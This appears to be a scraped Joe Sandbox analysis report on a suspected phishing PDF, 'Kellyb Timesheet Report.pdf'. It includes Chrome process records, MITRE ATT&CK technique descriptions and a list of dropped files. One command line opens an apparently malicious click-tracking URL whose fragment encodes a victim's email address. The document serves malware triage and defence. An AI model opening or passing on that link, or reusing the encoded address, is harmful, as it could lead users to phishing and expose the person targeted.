Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://tracking.adscarat.com/tracking/click?d=VWPZwayGPMFe83M_Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn_6lp8WVRaFAn6IW5-ZdMGiRNIrtDGSDNetxAKaSEHnZO_3Fv2apiBiV7oawEZYbV-DfVveNbSspRZLwsrmwAwG1nBVNr_9p41Q2#/?/a2VsbHliQGNody1pbmMuY29t
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:44:19
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1968,i,8730224464849867111,8875416330734061609,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Kellyb Timesheet Report.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f64aee7c-f98d-48ef-9bc7-22a10174345d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241121134401Z-167.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Windows Analysis Report
Kellyb Timesheet Report.pdf